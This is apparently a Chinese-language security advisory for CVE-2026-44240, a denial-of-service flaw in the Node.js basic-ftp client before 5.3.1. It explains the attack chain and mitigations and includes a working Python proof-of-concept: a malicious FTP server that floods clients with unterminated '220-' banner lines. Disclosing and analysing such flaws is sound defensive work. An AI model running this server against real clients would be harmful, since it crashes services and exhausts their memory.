IPBUF安全漏洞报告
English
CVE-2026-44240 CVSS 7.5 高危

CVE-2026-44240 basic-ftp客户端拒绝服务漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44240
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
basic-ftp

相关标签

DoSNode.jsbasic-ftpResource ExhaustionDenial of Service

漏洞概述

Node.js的FTP客户端库basic-ftp在5.3.1之前的版本中存在严重漏洞。当解析FTP控制通道多行响应时,由于未强制执行最大响应大小限制,恶意服务器可发送未终止的响应。这会导致客户端无限累积数据,持续消耗内存和CPU资源,致使应用陷入连接阻塞,进而引发进程级拒绝服务、容器OOM崩溃或服务降级。

技术细节

该漏洞源于basic-ftp在处理FTP控制通道的多行响应时缺乏必要的边界检查。在初始FTP banner阶段(认证之前),恶意或被攻陷的FTP服务器可以向客户端发送一个未终止的多行响应。客户端代码在`FtpContext._partialResponse`中不断追加这些攻击者控制的数据,并反复解析累积的缓冲区。由于没有对控制响应的大小实施最大限制,这种操作会无休止地进行。随着数据量的持续增长,应用程序的内存和CPU使用率也会随之飙升,导致使用basic-ftp的应用程序在`connect()`调用中卡死。这种资源耗尽攻击最终会导致进程崩溃、容器被OOM Killer杀死、工作进程重启或队列积压,严重影响服务的可用性。攻击者无需用户交互或认证即可通过网络触发此漏洞。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意FTP服务器或攻陷现有FTP服务器。
STEP 2
步骤2
受害者的应用程序(使用basic-ftp库)尝试连接到该恶意FTP服务器。
STEP 3
步骤3
恶意服务器在初始Banner阶段发送未终止的多行响应(例如持续发送"220-"前缀的行而不发送结束符)。
STEP 4
步骤4
basic-ftp客户端解析器不断接收数据并追加到内部缓冲区,由于没有大小限制,内存和CPU占用飙升。
STEP 5
步骤5
客户端进程卡死、崩溃或被系统OOM Killer终止,导致服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Create a malicious FTP server to exploit the vulnerability def start_malicious_ftp(): host = '0.0.0.0' port = 21 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((host, port)) s.listen(1) print(f"[+] Malicious FTP server listening on {host}:{port}") conn, addr = s.accept() print(f"[+] Connection established from {addr}") try: # Send an unterminated multiline response (starts with 220- but never sends the final 220 ) # This causes basic-ftp to keep appending data to _partialResponse payload = b"220-Welcome to the malicious FTP server\n" while True: conn.send(payload) # In a real scenario, sending attacker-controlled data to consume memory except ConnectionResetError: print("[-] Client disconnected") finally: conn.close() if __name__ == "__main__": start_malicious_ftp()

影响范围

basic-ftp < 5.3.1

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面实施严格的连接超时机制,并监控工作进程的内存使用情况。此外,可以通过防火墙规则限制出站FTP连接,仅允许访问已知可信的FTP服务端点,以降低连接到恶意服务器的风险。

参考链接